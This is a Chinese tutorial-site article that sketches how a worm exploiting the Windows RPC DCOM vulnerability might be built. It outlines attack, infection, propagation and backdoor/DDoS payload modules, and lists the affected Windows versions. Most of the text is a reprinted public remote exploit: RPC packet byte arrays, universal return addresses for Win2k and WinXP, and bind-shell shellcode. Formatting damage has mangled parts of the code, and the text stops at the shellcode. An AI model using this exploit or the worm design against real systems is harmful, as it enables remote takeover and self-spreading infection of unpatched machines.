对RPC DCOM 蠕虫的设想_漏洞研究教程-查字典教程网

摘要：最近好象几乎每一个大的漏洞公布出来，接着都会有一个针对这个漏洞的蠕虫(worm)流行，最近闹得很凶的RPCDCOM漏洞估计也即将成为worm...

最近好象几乎每一个大的漏洞公布出来，接着都会有一个针对这个漏洞的蠕虫(worm)流行，最近闹得很凶的RPCDCOM漏洞估计也即将成为worm的新传播载体。好象写worm是一个热门，很多人也觉得好奇，觉得worm是很深的一种技术，其实这个是很简单的编程游戏而已。我一直有个想法就是想写一篇关于worm的技术分析(---为了不教坏小孩子:)，只是一直懒得提笔，本人对蠕虫的编写已经失去了兴趣，现在在新的worm风暴即将到来之前，我这里很简单分析一下蠕虫的相关技术，并对RPCDCOM蠕虫进行一些设想。大家当我是助“纣”为虐也好，故意卖弄也好，我觉得还是要写这篇文章，一年多没写过文章了，同时也了却了自己的一个心愿。你现在可以选择不继续往下看，但看完后不要对我吐口水。:)

一什么叫蠕虫

首先从spark的《Internet蠕虫的定义和历史》文章中摘抄欢喂赜趙orm的解释:蠕虫这个生物学名词在1982年由XeroxPARC的JohnF.Shoch等人最早引入计算机领域[30]，并给出了计算机蠕虫的两个最基本特征："可以从一台计算机移动到另一台计算机"和"可以自我复制"。他们编写蠕虫的目的是做分布式计算的模型试验，在他们的文章中，蠕虫的破坏性和不易控制已经初露端倪。1988年Morris蠕虫爆发后，EugeneH.Spafford为了区分蠕虫和病毒，给出了蠕虫的技术角度的定义，"计算机蠕虫可以独立运行，并能把自身的一个包含所有功能的版本传播到另外的计算机上。"（wormisaprogramthatcanrunbyitselfandcanpropagateafullyworkingversionofitselftoothermachines.）。

由于这里不是向大家介绍蠕虫的定义和历史就不多说了，大家如果对这些感兴趣，可以到这里读spark的文章http://www.nsfocus.net/index.php?act=magazine&;;do=view&mid=1851

二蠕虫的组成部分

一个蠕虫的组成其实很简单，由于我不是在这里教你们写蠕虫，也由于时间限制，我这里只简单的说一些。

我们可以把它看做一个工程，我们把这个工程分成4个模块:

1.攻击模块

首先得需要有一个大量系统受影响的能被简单利用的严重漏洞，以便能够远程控制机器。比如猜测薄弱口令啊，远程溢出啊等。

2.感染模块

考虑怎么让对方被攻击后，执行你想要实现的功能，完成对一个主机的感染。对远程溢出来说也就是完善shellcode了。这中间得考虑一个感染传播(繁殖)途径的问题。

3.传播模块

比如，扫描一个网段有相关弱点的机器，存成一个文件，然后对这些IP进行攻击，或者随机生成IP然后对这些IP进行攻击等。

简单的说就是扫描薄弱的机器。

4.功能模块

功能模块其实是一个可要可不要的模块，但如果你想对方感染蠕虫后还在对方加上后门/DDoS等其他功能时，就必须得要有这个啦。

其实，一个蠕虫成功的关键是一个攻击模块和感染模块。:)

三常见的蠕虫的传播(繁殖)途经

具体就不深入了,只简单列举一下:

1.email

2.ftp

3.http

4.netbios

5.tftp

6.rcp

7.其他

四RPCDCOM漏洞介绍

RPCDCOM漏洞是最近出的一个Windows系统的严重漏洞，也是有史以来最严重影响最广泛的Windows漏洞。

RemoteProcedureCall(RPC)是运用于Windows操作系统上的一种协议。RPC提供相互处理通信机制，允许运行该程序的计算机在一个远程系统上执行代码。RPC协议本身源于OSF(OpenSoftwareFoundation)RPC协议，后来又另外增加了一些Microsoft专用扩展功能。RPC中处理TCP/IP信息交换的模块由于错误的处理畸形信息，远程攻击者可利用此缺陷以本地系统权限在系统上执行任意指令。该缺陷影响使用RPC的DCOM接口，此接口处理由客户端机器发送给服务器的DCOM对象激活请求(如UNC路径)。攻击者成功利用此缺陷可以以本地系统权限执行任意指令。攻击者可以在系统上执行任意操作，如安装程序、查看或更改、删除数据或建立系统管理员权限的帐户。

这个漏洞影响如下Windows版本：

MicrosoftWindowsXPSP1a

MicrosoftWindowsXPSP1

MicrosoftWindowsXP

MicrosoftWindowsNT4.0SP6a

MicrosoftWindowsNT4.0SP6

MicrosoftWindowsNT4.0SP5

MicrosoftWindowsNT4.0SP4

MicrosoftWindowsNT4.0SP3

MicrosoftWindowsNT4.0SP2

MicrosoftWindowsNT4.0SP1

MicrosoftWindowsNT4.0

MicrosoftWindows2003

MicrosoftWindows2000SP4

MicrosoftWindows2000SP3

MicrosoftWindows2000SP2

MicrosoftWindows2000SP1

MicrosoftWindows2000

可以看到,此漏洞影响除了WinME以下版本的Windows系统之外的所有其他Windows系统。同时，此漏洞能够被攻击者远程利用，

在没有修补该漏洞的机器上可以远程执行任意代码，导致攻击者能够完全控制有漏洞的机器。

五RPCDCOM蠕虫的设想

1.由于RPCCOM已经有攻击未打补丁的Win2000/WinXP的通用攻击代码发布出来，因此该漏洞更有可能被利用制作成为能够感染具有RPCDCOM漏洞的Win2000/WinXP机器的蠕虫。

如PacketStorm上公布的这个对Win2000和WinXP通用的Exploit:

/*Windows2003<=remoteRPCDCOMexploit

*Codedby.:[oc192.us]:.Security

*Features:

*-ddestinationhosttoattack.

*-pforportselectionasexploitworksonportsotherthan135(139,445,539etc)

*-rforusingacustomreturnaddress.

*-ttoselecttargettype(Offset),thisincludesuniversaloffsetsfor-

*win2kandwinXP(Regardlessofservicepack)

*-ltoselectbindshellportonremotemachine(Default:666)

*-ShellcodehasbeenmodifiedtocallExitThread,ratherthanExitProcess,thus

*preventingcrashofRPCserviceonremotemachine.

*Thisisprovidedasproof-of-conceptcodeonlyforeducational

*purposesandtestingbyauthorizedindividualswithpermissionto

*doso.

#include

/*xfocusstart*/

unsignedcharbindstr[]={

0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,

0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,

0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,

0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,

0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};

unsignedcharrequest1[]={

0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03

,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00

,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45

,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E

,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D

,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41

,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00

,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45

,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00

,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00

,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03

,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00

,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29

,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00

,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00

,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00

,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00

,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00

,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00

,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00

,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00

,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00

,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10

,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF

,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10

,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09

,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00

,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00

,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00

,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00

,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01

,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03

,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00

,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E

,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00

,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00

,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00

,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00

,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00};

unsignedcharrequest2[]={

0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00

,0x00,0x00,0x5C,0x00,0x5C,0x00};

unsignedcharrequest3[]={

0x5C,0x00

,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00

,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00

,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00

,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};

/*endxfocus*/

inttype=0;

struct

{

char*os;

u_longret;

}

targets[]=

{

{"[Win2k-Universal]",0x0018759F},

{"[WinXP-Universal]",0x0100139d},

},v;

voidusage(char*prog)

{

inti;

printf("RPCDCOMexploitcodedby.:[oc192.us]:.Securityn");

printf("Usage:nn");

printf("%s-d[options]n",prog);

printf("Options:n");

printf("-d:Hostnametoattack[Required]n");

printf("-t:Type[Default:0]n");

printf("-r:Returnaddress[Default:Selectedfromtarget]n");

printf("-p:Attackport[Default:135]n");

printf("-l:Bindshellport[Default:666]nn");

printf("Types:n");

for(i=0;i<sizeof(targets)/sizeof(v);i++)

printf("%d[0x%.8x]:%sn",i,targets[i].ret,targets[i].os);

exit(0);

}

unsignedcharsc[]=

"x46x00x58x00x4Ex00x42x00x46x00x58x00"

"x46x00x58x00x4Ex00x42x00x46x00x58x00x46x00x58x00"

"x46x00x58x00x46x00x58x00"

"xffxffxffxff"/*returnaddress*/

"xccxe0xfdx7f"/*primarythreaddatablock*/

/*bindshellnoRPCcrash,defineablespawnport*/

"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

"x90x90x90x90x90x90x90xebx19x5ex31xc9x81xe9x89xff"

"xffxffx81x36x80xbfx32x94x81xeexfcxffxffxffxe2xf2"

"xebx05xe8xe2xffxffxffx03x53x06x1fx74x57x75x95x80"

"xbfxbbx92x7fx89x5ax1axcexb1xdex7cxe1xbex32x94x09"

"xf9x3ax6bxb6xd7x9fx4dx85x71xdaxc6x81xbfx32x1dxc6"

"xb3x5axf8xecxbfx32xfcxb3x8dx1cxf0xe8xc8x41xa6xdf"

"xebxcdxc2x88x36x74x90x7fx89x5axe6x7ex0cx24x7cxad"

"xbex32x94x09xf9x22x6bxb6xd7xddx5ax60xdfxdax8ax81"

"xbfx32x1dxc6xabxcdxe2x84xd7xf9x79x7cx84xdax9ax81"

"xbfx32x1dxc6xa7xcdxe2x84xd7xebx9dx75x12xdax6ax80"

"xbfx32x1dxc6xa3xcdxe2x84xd7x96x8exf0x78xdax7ax80"

"xbfx32x1dxc6x9fxcdxe2x84xd7x96x39xaex56xdax4ax80"

"xbfx32x1dxc6x9bxcdxe2x84xd7xd7xddx06xf6xdax5ax80"

"xbfx32x1dxc6x97xcdxe2x84xd7xd5xedx46xc6xdax2ax80"

"xbfx32x1dxc6x93x01x6bx01x53xa2x95x80xbfx66xfcx81"

"xbex32x94x7fxe9x2axc4xd0xefx62xd4xd0xffx62x6bxd6"

"xa3xb9x4cxd7xe8x5ax96x80xaex6ex1fx4cxd5x24xc5xd3"

"x40x64xb4xd7xecxcdxc2xa4xe8x63xc7x7fxe9x1ax1fx50"

"xd7x57xecxe5xbfx5axf7xedxdbx1cx1dxe6x8fxb1x78xd4"

"x32x0exb0xb3x7fx01x5dx03x7ex27x3fx62x42xf4xd0xa4"

"xafx76x6axc4x9bx0fx1dxd4x9bx7ax1dxd4x9bx7ex1dxd4"

"x9bx62x19xc4x9bx22xc0xd0xeex63xc5xeaxbex63xc5x7f"

"xc9x02xc5x7fxe9x22x1fx4cxd5xcdx6bxb1x40x64x98x0b"

"x77x65x6bxd6x93xcdxc2x94xeax64xf0x21x8fx32x94x80"

"x3axf2xecx8cx34x72x98x0bxcfx2ex39x0bxd7x3ax7fx89"

"x34x72xa0x0bx17x8ax94x80xbfxb9x51xdexe2xf0x90x80"

"xecx67xc2xd7x34x5exb0x98x34x77xa8x0bxebx37xecx83"

"x6axb9xdex98x34x68xb4x83x62xd1xa6xc9x34x06x1fx83"

"x4ax01x6bx7cx8cxf2x38xbax7bx46x93x41x70x3fx97x78"

"x54xc0xafxfcx9bx26xe1x61x34x68xb0x83x62x54x1fx8c"

"xf4xb9xcex9cxbcxefx1fx84x34x31x51x6bxbdx01x54x0b"

"x6ax6dxcaxddxe4xf0x90x80x2fxa2x04";